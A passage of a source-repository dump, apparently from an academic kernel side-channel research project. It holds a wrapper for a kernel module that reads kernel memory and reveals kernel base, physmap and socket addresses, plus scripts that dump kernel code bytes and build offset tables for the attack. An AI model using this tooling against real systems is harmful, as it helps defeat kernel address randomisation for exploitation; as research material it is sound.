*spectre_addr = data.addr_out; 103 | 104 | return 0; 105 | } 106 | 107 | int kd_get_physmap_base(void** physmap_base) { 108 | INIT_KMOD_DATA(data); 109 | int res; 110 | 111 | if (kd_fd < 0) { 112 | res = kd_open(); 113 | if (res) return res; 114 | } 115 | 116 | res = ioctl(kd_fd, IOCTL_KM_GET_PHYSMAP_BASE, &data); 117 | if(res) { 118 | printf("IOCTL_KM_GET_PHYSMAP_BASE failed. res: %d\n", res); 119 | return res; 120 | } 121 | 122 | //printf("%s: %p\n", __FUNCTION__, data.addr_out); 123 | 124 | *physmap_base = data.addr_out; 125 | 126 | return 0; 127 | } 128 | 129 | int kd_get_sock_kaddr(int s, void** sock_kaddr) { 130 | INIT_KMOD_DATA(data); 131 | int res; 132 | 133 | if (kd_fd < 0) { 134 | res = kd_open(); 135 | if (res) return res; 136 | } 137 | 138 | data.value = (unsigned long) s; 139 | 140 | res = ioctl(kd_fd, IOCTL_KM_GET_SOCK_ADDR, &data); 141 | if(res) { 142 | printf("IOCTL_KM_GET_SOCK_ADDR failed. res: %d\n", res); 143 | return res; 144 | } 145 | 146 | //printf("%s: %p\n", __FUNCTION__, data.addr_out); 147 | 148 | *sock_kaddr = data.addr_out; 149 | 150 | return 0; 151 | } 152 | 153 | int kd_probe_page(void* addr) 154 | { 155 | INIT_KMOD_DATA(data); 156 | int res; 157 | 158 | if (kd_fd < 0) { 159 | res = kd_open(); 160 | if (res) return res; 161 | } 162 | 163 | data.addr_in = addr; 164 | 165 | res = ioctl(kd_fd, IOCTL_KM_PROBE_PAGE, &data); 166 | if (res < 0) { 167 | printf("IOCTL_KM_PROBE_PAGE failed. res: %d\n", res); 168 | return res; 169 | } 170 | 171 | return 0; 172 | } 173 | 174 | int kd_get_bytes(void* addr, char* arr, unsigned long sz) { 175 | if (sz % 8 != 0) { 176 | // For now we only support reading 8 bytes in full so 177 | // array has to have a size of a multiple of 8. 178 | return -1; 179 | } 180 | 181 | INIT_KMOD_DATA(data); 182 | int res; 183 | 184 | if (kd_fd < 0) { 185 | res = kd_open(); 186 | if (res) return res; 187 | } 188 | 189 | unsigned long idx; 190 | for (idx = 0; idx < sz; idx += 8) { 191 | data.addr_in = addr + idx; 192 | 193 | res = ioctl(kd_fd, IOCTL_KM_8BYTES_AT_ADDR, &data); 194 | if (res < 0) { 195 | printf("IOCTL_KM_PROBE_PAGE failed. res: %d\n", res); 196 | return res; 197 | } 198 | 199 | *(unsigned long*) &arr[idx] = (unsigned long) data.addr_out; 200 | } 201 | 202 | return 0; 203 | } 204 | -------------------------------------------------------------------------------- /kmod/kmod_driver.h: -------------------------------------------------------------------------------- 1 | #ifndef _KMOD_DRIVER_H_ 2 | #define _KMOD_DRIVER_H_ 3 | 4 | int kd_open(); 5 | int kd_close(); 6 | int kd_get_phys_addr(void* virt_addr, void** phys_addr); 7 | int kd_get_kimage_base(void** kimage_base); 8 | int kd_get_spectre_addr(void** spectre_addr); 9 | int kd_get_physmap_base(void** physmap_base); 10 | int kd_get_sock_kaddr(int s, void** sock_kaddr); 11 | int kd_get_bytes(void* addr, char* arr, unsigned long sz); 12 | int kd_probe_page(void* addr); 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /kmod/test.c: -------------------------------------------------------------------------------- 1 | #include "kmod_driver.h" 2 | 3 | #include 4 | 5 | int main() { 6 | kd_open(); 7 | 8 | void * addr = 0x0; 9 | 10 | kd_get_kimage_base(&addr); 11 | printf("kimage base = 0x%lx\n", (unsigned long) addr); 12 | 13 | kd_get_physmap_base(&addr); 14 | printf("physmap base = 0x%lx\n", (unsigned long) addr); 15 | 16 | kd_close(); 17 | 18 | return 0; 19 | } 20 | -------------------------------------------------------------------------------- /make_evsets_lib.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" 4 | 5 | if ! command -v clang &> /dev/null 6 | then 7 | echo "! clang could not be found." 8 | echo "! Please install clang before running this script." 9 | echo "! From apt: sudo apt install clang" 10 | exit 11 | fi 12 | 13 | if [ -d "${DIR}/evsets" ] ; then 14 | echo "! ${DIR}/evsets already exists." 15 | echo "! Remove it if desiring re-installation." 16 | exit 17 | fi 18 | 19 | git clone https://github.com/cgvwzq/evsets.git evsets 20 | cd evsets 21 | git checkout 49d4b25ddcd32e00349024a7e3d16cf0448b1f8a 22 | make 23 | -------------------------------------------------------------------------------- /tools/Makefile: -------------------------------------------------------------------------------- 1 | APP_DIR := $(patsubst %/,%,$(dir $(abspath $(lastword $(MAKEFILE_LIST))))) 2 | KMOD_DIR := $(APP_DIR)/../kmod/ 3 | 4 | all: 5 | (cd lib && make) 6 | gcc -O2 -g generate_kernel_offset_index_mapping.c -o generate_kernel_offset_index_mapping \ 7 | -Wunused-function -Wunused-variable \ 8 | -I$(KMOD_DIR) -L$(KMOD_DIR) -Wl,-rpath=$(KMOD_DIR) \ 9 | -lkmod_driver 10 | 11 | clean: 12 | (cd lib && make clean) 13 | rm -f generate_kernel_offset_index_mapping 14 | -------------------------------------------------------------------------------- /tools/README.md: -------------------------------------------------------------------------------- 1 | ## Show kernel image headers 2 | 3 | 1. Extract vmlinux from `vmlinuz`: ``sudo ./extract-vmlinux /boot/vmlinuz-`uname -r` > vmlinux`` 4 | 2. Show section headers: `readelf -S vmlinux` 5 | 6 | ## Generate code\_bytes\_table.h 7 | 8 | 1. Get code (`.text`) section size from kernel image headers 9 | 2. Dump code bytes in at least 2 boots: 10 | a. Install kmod: `make -C ../kmod install` 11 | b. Get kernel base: ``echo $(echo 0x`sudo grep ffffffff /proc/kallsyms | head -1` | awk '{print $1}')`` 12 | c. Get kernel bytes: `./print_kernel_bytes.sh > code-bytes-.out` 13 | d. Separate bytes on newlines: `sed 's/ /\n/g' code-bytes-.out > code-bytes-.nl.out` 14 | 3. Filter constant bytes: `./filter_constant_code_bytes.py code-bytes-1.nl.out code-bytes-2.nl.out > constant-code-bytes.out` 15 | 4. Generate the header file: `./get_byte_sequence_stats.py constant-code-bytes.out` 16 | 17 | ## Generate kernel\_offset\_index\_mapping.h 18 | 19 | 1. Get `.rodata` section offset from the kernel base. You can get this by subtracting `.text` section's address from `.rodata` section's address retrieved from the kernel image section headers. 20 | 2. Get `.rodata` section size from the section headers. 21 | 3. Generate header file: `./generate_kernel_offset_index_mapping <.rodata offset from the kernel base> <.rodata size>` 22 | -------------------------------------------------------------------------------- /tools/extract-vmlinux.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-only 3 | # ---------------------------------------------------------------------- 4 | # extract-vmlinux - Extract uncompressed vmlinux from a kernel image 5 | # 6 | # Inspired from extract-ikconfig 7 | # (c) 2009,2010 Dick Streefland 8 | # 9 | # (c) 2011 Corentin Chary 10 | # 11 | # ---------------------------------------------------------------------- 12 | 13 | check_vmlinux() 14 | { 15 | # Use readelf to check if it's a valid ELF 16 | # TODO: find a better to way to check that it's really vmlinux 17 | # and not just an elf 18 | readelf -h $1 > /dev/null 2>&1 || return 1 19 | 20 | cat $1 21 | exit 0 22 | } 23 | 24 | try_decompress() 25 | { 26 | # The obscure use of the "tr" filter is to work around older versions of 27 | # "grep" that report the byte offset of the line instead of the pattern. 28 | 29 | # Try to find the header ($1) and decompress from here 30 | for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` 31 | do 32 | pos=${pos%%:*} 33 | tail -c+$pos "$img" | $3 > $tmp 2> /dev/null 34 | check_vmlinux $tmp 35 | done 36 | } 37 | 38 | # Check invocation: 39 | me=${0##*/} 40 | img=$1 41 | if [ $# -ne 1 -o ! -s "$img" ] 42 | then 43 | echo "Usage: $me " >&2 44 | exit 2 45 | fi 46 | 47 | # Prepare temp files: 48 | tmp=$(mktemp /tmp/vmlinux-XXX) 49 | trap "rm -f $tmp" 0 50 | 51 | # That didn't work, so retry after decompression. 52 | try_decompress '\037\213\010' xy gunzip 53 | try_decompress '\3757zXZ\000' abcde unxz 54 | try_decompress 'BZh' xy bunzip2 55 | try_decompress '\135\0\0\0' xxx unlzma 56 | try_decompress '\211\114\132' xy 'lzop -d' 57 | try_decompress '\002!L\030' xxx 'lz4 -d' 58 | try_decompress '(\265/\375' xxx unzstd 59 | 60 | # Finally check for uncompressed images or objects: 61 | check_vmlinux $img 62 | 63 | # Bail out: 64 | echo "$me: Cannot find vmlinux." >&2 65 | -------------------------------------------------------------------------------- /tools/filter_constant_code_bytes.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import sys 4 | 5 | if len(sys.argv) < 3: 6 | print "Usage: %s " % sys.argv[0] 7 | sys.exit(1) 8 | 9 | file1 = open(sys.argv[1], 'rb') 10 | file2 = open(sys.argv[2], 'rb') 11 | 12 | def read_line(fd): 13 | for l in fd.xreadlines(): 14 | yield l 15 | 16 | def next_line(fd): 17 | return next(read_line(fd), None) 18 | 19 | while True: 20 | l1 = next_line(file1) 21 | l2 = next_line(file2) 22 | 23 | if l1 == None and l2 == None: break 24 | #if l1 == None: l1 = '' 25 | #if l2 == None: l2 = '' 26 | 27 | if l1 == l2: 28 | print l1, 29 | else: 30 | print 'xx' 31 | #print '[', b1, b2, ']' 32 | -------------------------------------------------------------------------------- /tools/generate_kernel_offset_index_mapping.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #define NUM_CACHELINES 64 8 | #define MIN_CACHELINES 32 9 | 10 | int main(int argc, char** argv) { 11 | if (argc < 3) { 12 | printf("Usage: %s <.rodata offset from .text> <.rodata size>\n", argv[0]); 13 | return 1; 14 | } 15 | 16 | unsigned long kernel_base; 17 | unsigned long rodata_addr; 18 | unsigned long rodata_size; 19 | 20 | kd_get_kimage_base((void**) &kernel_base); 21 | rodata_addr = kernel_base + strtoull(argv[1], NULL, 16); 22 | rodata_size = strtoull(argv[2], NULL, 16); 23 | 24 | printf("kernel_base = 0x%lx\n", kernel_base); 25 | printf("rodata_addr = 0x%lx\n", rodata_addr); 26 | printf("rodata_size = 0x%lx\n", rodata_size); 27 | 28 | unsigned long kernel_offsets[NUM_CACHELINES]; // key = cl_idx 29 | memset(kernel_offsets, 0, sizeof(kernel_offsets)); 30 | int found_cachelines = 0; 31 | 32 | unsigned long curr_addr = rodata_addr; 33 | while (found_cachelines < MIN_CACHELINES && curr_addr+8 < rodata_addr + rodata_size) { 34 | unsigned long val_at_addr; 35 | kd_get_bytes((void*)curr_addr, (char*) &val_at_addr, 8); 36 | 37 | unsigned long cl_idx = val_at_addr / 8; 38 | 39 | if (cl_idx < NUM_CACHELINES && kernel_offsets[cl_idx] == 0) { 40 | kernel_offsets[cl_idx] = curr_addr - kernel_base; 41 | found_cachelines += 1; 42 | } 43 | 44 | curr_addr += 8; 45 | } 46 | 47 | FILE *f = fopen("kernel_offset_index_mapping.h", "wb"); 48 | fprintf(f, "#ifndef _KERNEL_OFFSET_INDEX_MAPPING_H_\n"); 49 | fprintf(f, "#define _KERNEL_OFFSET_INDEX_MAPPING_H_\n\n"); 50 | fprintf(f, "#define NUM_KERNEL_OFFSET_MAPPINGS %d\n", NUM_CACHELINES); 51 | fprintf(f, "unsigned int kernel_offset_index_mapping[NUM_KERNEL_OFFSET_MAPPINGS] =\n"); 52 | fprintf(f, "{\n"); 53 | 54 | int i; 55 | for (i = 0; i < NUM_CACHELINES; i++) { 56 | fprintf(f, " [%2d] = 0x%lx,\n", i, kernel_offsets[i]); 57 | } 58 | 59 | fprintf(f, "};\n\n"); 60 | fprintf(f, "#endif\n"); 61 | fclose(f); 62 | 63 | return 0; 64 | } 65 | -------------------------------------------------------------------------------- /tools/get_byte_sequence_stats.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import sys 4 | 5 | def print_usage_exit(): 6 | print "Usage: %s " % sys.argv[0] 7 | sys.exit(1) 8 | 9 | if len(sys.argv) < 2: 10 | print_usage_exit() 11 | 12 | file1 = open(sys.argv[1], 'rb') 13 | 14 | byte_freq = {} 15 | 16 | def mask_byte(x): 17 | if x == 'xx': 18 | return x 19 | return x[0]+str(int(x[1],16)&8) 20 | 21 | prev_byte = None 22 | total_bytes = 0 23 | for l in file1.xreadlines(): 24 | curr_byte = l.strip() 25 | if not curr_byte: 26 | continue 27 | 28 | total_bytes += 1 29 | 30 | if curr_byte not in byte_freq: 31 | byte_freq[curr_byte] = [0, {}] 32 | byte_freq[curr_byte][0] += 1 33 | 34 | if prev_byte != None: 35 | if prev_byte not in byte_freq[curr_byte][1]: 36 | byte_freq[curr_byte][1][prev_byte] = 0 37 | byte_freq[curr_byte][1][prev_byte] += 1 38 | 39 | #prev_byte = curr_byte 40 | prev_byte = mask_byte(curr_byte) 41 | 42 | print 'Number of processed bytes:', total_bytes 43 | 44 | fname = 'code_bytes_table.h' 45 | out = open(fname, 'wb') 46 | out.write('#ifndef __CSTRUCT_HEADER__\n') 47 | out.write('#define __CSTRUCT_HEADER__\n') 48 | 49 | out.write('\ntypedef struct {\n') 50 | out.write(' unsigned char code_byte;\n') 51 | out.write(' unsigned char percentage;\n') 52 | out.write('} code_byte_info;\n') 53 | 54 | out.write('\ncode_byte_info code_byte_table[256][32] = {\n'); 55 | 56 | for b in range(256): 57 | bstr = '%02X' % b 58 | binfo = byte_freq.get(bstr, [0, {}]) 59 | b_freq = binfo[0] 60 | sub_total = 0 61 | count = 0 62 | out.write(' /* 0x%02X: */ {' % b); 63 | prev_bytes_sorted_by_freq = reversed(sorted([ (byte_freq[bstr][1][pb], pb) for pb in binfo[1] ])) 64 | for (pb_freq, pb) in prev_bytes_sorted_by_freq: 65 | if pb == 'xx': 66 | continue 67 | sub_total += pb_freq 68 | 69 | if b_freq == 0: 70 | percentage = 0 71 | else: 72 | percentage = int(sub_total*100.0 / b_freq) 73 | out.write('{0x%s,%d},' % (pb, percentage)) 74 | count += 1 75 | for i in range(32-count): 76 | out.write('{0x00,0},') 77 | 78 | out.write('},\n') 79 | 80 | out.write('};\n'); 81 | 82 | out.write('\n#endif\n') 83 | out.close() 84 | 85 | print 'Wrote code_byte_tables to:', fname 86 | print '' 87 | -------------------------------------------------------------------------------- /tools/lib/.gitignore: -------------------------------------------------------------------------------- 1 | print_kernel_bytes 2 | -------------------------------------------------------------------------------- /tools/lib/Makefile: -------------------------------------------------------------------------------- 1 | print_kernel_bytes: print_kernel_bytes.c 2 | gcc -O2 -o print_kernel_bytes print_kernel_bytes.c 3 | 4 | clean: 5 | rm -f print_kernel_bytes *.pyc 6 | -------------------------------------------------------------------------------- /tools/lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vusec/blindside/6abf860ec368477fb68dd063e2e668c734250633/tools/lib/__init__.py -------------------------------------------------------------------------------- /tools/lib/bashcmd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import subprocess 4 | import os 5 | import sys 6 | from time import sleep 7 | import signal 8 | import errno 9 | 10 | class BashCmd(object): 11 | def __init__(self, workingDir): 12 | self.cmd = "" 13 | self.out = "" 14 | self.err = "" 15 | assert workingDir != "", "Error: BashCmd requires a working dir" 16 | self.workingDir = workingDir 17 | os.chdir(self.workingDir) 18 | 19 | def run(self, cmd, pipe=True): 20 | if os.getcwd() != self.workingDir: 21 | os.chdir(self.workingDir) 22 | 23 | self.cmd = cmd 24 | 25 | if pipe: 26 | proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 27 | else: 28 | proc = subprocess.Popen(cmd, shell=True) 29 | 30 | (self.out,self.err) = proc.communicate() 31 | 32 | return self.err == "" or self.err == None 33 | 34 | def run_forked(self, cmd, pipe=False): 35 | # do the UNIX double-fork magic, see Stevens' "Advanced 36 | # Programming in the UNIX Environment" for details (ISBN 0201563177) 37 | try: 38 | pid = os.fork() 39 | if pid > 0: 40 | # parent process, return and keep running 41 | #sleep(5) 42 | return 43 | except OSError, e: 44 | print >>sys.stderr, "fork #1 failed: %d (%s)" % (e.errno, e.strerror) 45 | sys.exit(1) 46 | 47 | #os.setsid() 48 | # 49 | # do second fork 50 | #try: 51 | # pid = os.fork() 52 | # print "xxx", pid 53 | # if pid > 0: 54 | # # exit from second parent 55 | # sys.exit(0) 56 | #except OSError, e: 57 | # print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror) 58 | # sys.exit(1) 59 | 60 | # do stuff 61 | self.run(cmd,pipe) 62 | 63 | # all done 64 | os._exit(os.EX_OK) 65 | 66 | def getcmd(self): 67 | return self.cmd 68 | 69 | def stdout(self): 70 | return self.out 71 | 72 | def stderr(self): 73 | return self.err 74 | -------------------------------------------------------------------------------- /tools/lib/beautify.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import fileinput 4 | 5 | def print_nice(i, barr): 6 | s = ('0x%04x'%i) + ': ' + ' '.join(barr[0:8]) + ' ' + ' '.join(barr[8:16]) + ' : ' 7 | 8 | x1 = '' 9 | for i in reversed(barr[0:8]): 10 | if i == 'xx': 11 | x1 += '??' 12 | else: 13 | x1 += '%02x' % int(i,16) 14 | if x1 != '': x1 = '0x' + x1 15 | 16 | x2 = '' 17 | for i in reversed(barr[8:16]): 18 | if i == 'xx': 19 | x2 += '??' 20 | else: 21 | x2 += '%02x' % int(i,16) 22 | if x2 != '': x2 = '0x' + x2 23 | 24 | s += x1 + ' ' + x2 25 | 26 | print s 27 | 28 | for line in fileinput.input(): 29 | spl = line.split() 30 | for i in range(0, len(spl), 16): 31 | print_nice(i, spl[i:i+16]) 32 | -------------------------------------------------------------------------------- /tools/lib/print_kernel_bytes.c: -------------------------------------------------------------------------------- 1 | #include "../../kmod/kmod.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | int file_desc; 15 | 16 | int print_kernel_bytes(void* addr, unsigned long len, int print_raw_bytes) 17 | { 18 | int ret_val; 19 | int print_bytes = 0; 20 | int i; 21 | INIT_KMOD_DATA(data); 22 | 23 | while(len > 0){ 24 | data.addr_in = addr; 25 | ret_val = ioctl(file_desc, IOCTL_KM_8BYTES_AT_ADDR, &data); 26 | 27 | if (ret_val < 0) { 28 | printf("IOCTL_KM_8BYTES_AT_ADDR failed:%d\n", ret_val); 29 | return -1; 30 | } 31 | 32 | print_bytes = 8; 33 | if(len < print_bytes) print_bytes = len; 34 | 35 | unsigned long values = (unsigned long) data.addr_out; 36 | for(i = 0; i < print_bytes; i++){ 37 | if(print_raw_bytes) { 38 | printf("%c", (int) (values % 0x100)); 39 | } else { 40 | printf("%02lX ", values % 0x100); 41 | } 42 | values = values >> 8; 43 | } 44 | 45 | len -= print_bytes; 46 | addr += print_bytes; 47 | } 48 | 49 | if(!print_raw_bytes) { 50 | printf("\n"); 51 | } 52 | 53 | return 0; 54 | } 55 | 56 | int kmod_open(){ 57 | file_desc = open(DEVICE_FILE_NAME, 0); 58 | if(file_desc < 0){ 59 | printf("Can't open device file: %s\n", DEVICE_FILE_NAME); 60 | return -1; 61 | } 62 | return 0; 63 | } 64 | 65 | int kmod_close(){ 66 | return close(file_desc); 67 | } 68 | 69 | /* 70 | * Main - Call the ioctl functions 71 | */ 72 | int main(int argc, char **argv) 73 | { 74 | void* virt_addr; 75 | 76 | if(argc < 3 || argc > 4){ 77 | fprintf(stderr, "Provide args: <#bytes> ()\n"); 78 | exit(1); 79 | } 80 | 81 | int print_raw_bytes = 0; 82 | if(argc == 4) { 83 | if(strcmp(argv[3], "raw") == 0) { 84 | print_raw_bytes = 1; 85 | } 86 | } 87 | 88 | if (kmod_open()) { 89 | fprintf(stderr,"kmod_open() failed\n"); 90 | exit(1); 91 | } 92 | 93 | int offset = 8; 94 | if (argv[1][0] == '0' && argv[1][1] == 'x'){ 95 | offset = 10; 96 | } 97 | 98 | unsigned long rhs = strtol(argv[1] + offset, NULL, 16); 99 | argv[1][offset] = '\0'; 100 | unsigned long lhs = strtol(argv[1], NULL, 16); 101 | 102 | unsigned long len = strtol(argv[2], NULL, 10); 103 | 104 | virt_addr = (void*) ((lhs << 32) + rhs); 105 | 106 | if (print_kernel_bytes(virt_addr, len, print_raw_bytes)) { 107 | fprintf(stderr,"print_kernel_bytes() failed\n"); 108 | exit(1); 109 | } 110 | 111 | kmod_close(); 112 | 113 | return 0; 114 | } 115 | -------------------------------------------------------------------------------- /tools/print_kernel_bytes.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" 4 | 5 | if [ "$3" == "" ] 6 | then 7 | $DIR/lib/print_kernel_bytes $* 8 | elif [ "$3" == "beautify" ] 9 | then 10 | $DIR/lib/print_kernel_bytes $1 $2 | $DIR/lib/beautify.py 11 | else 12 | $DIR/lib/print_kernel_bytes 13 | fi 14 | -------------------------------------------------------------------------------- /tools/print_kernel_ins.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import sys 4 | import os 5 | from lib.bashcmd import BashCmd 6 | from capstone import * 7 | 8 | if len(sys.argv) < 3: 9 | print "Usage: %s " % sys.argv[0] 10 | sys.exit(1) 11 | 12 | kvaddr = int(sys.argv[1], 16) 13 | num_ins = int(sys.argv[2]) 14 | 15 | extract_bytes_cmd = os.path.dirname(os.path.realpath(__file__))+'/lib/print_kernel_bytes' 16 | num_bytes = 15 17 | bc = BashCmd('.') 18 | md = Cs(CS_ARCH_X86, CS_MODE_64) 19 | #md.syntax = CS_OPT_SYNTAX_ATT 20 | 21 | count = 0 22 | while count < num_ins: 23 | 24 | cmd = extract_bytes_cmd + (' 0x%x %d' % (kvaddr,num_bytes)) 25 | if not bc.run(cmd): 26 | print "bc.run(%s) failed" 27 | print "bc.stderr()=%s" % bc.stderr().strip() 28 | sys.exit(1) 29 | 30 | code_bytes_str = bc.stdout().split() 31 | code_bytes = ''.join([chr(int(b,16)) for b in code_bytes_str]) 32 | 33 | g = md.disasm(code_bytes, kvaddr) 34 | ins_disas = next(g, None) 35 | if not ins_disas: 36 | #print "Error, no ins:", ("%x" % kvaddr) 37 | print "%3d: 0x%x-0x%x:\t%s\t%-25s\t%d:%x" % (count+1, kvaddr, kvaddr+1, "(bad)", "", 1, ord(code_bytes[0])) 38 | kvaddr += 1 39 | count += 1 40 | continue 41 | 42 | 43 | print "%3d: 0x%x-0x%x:\t%s\t%-25s\t%d:%s" % (count+1, ins_disas.address, ins_disas.address + ins_disas.size, ins_disas.mnemonic, 44 | ins_disas.op_str, ins_disas.size, ' '.join(code_bytes_str[:ins_disas.size])) 45 | 46 | kvaddr = kvaddr + ins_disas.size 47 | count += 1 48 | --------------------------------------------------------------------------------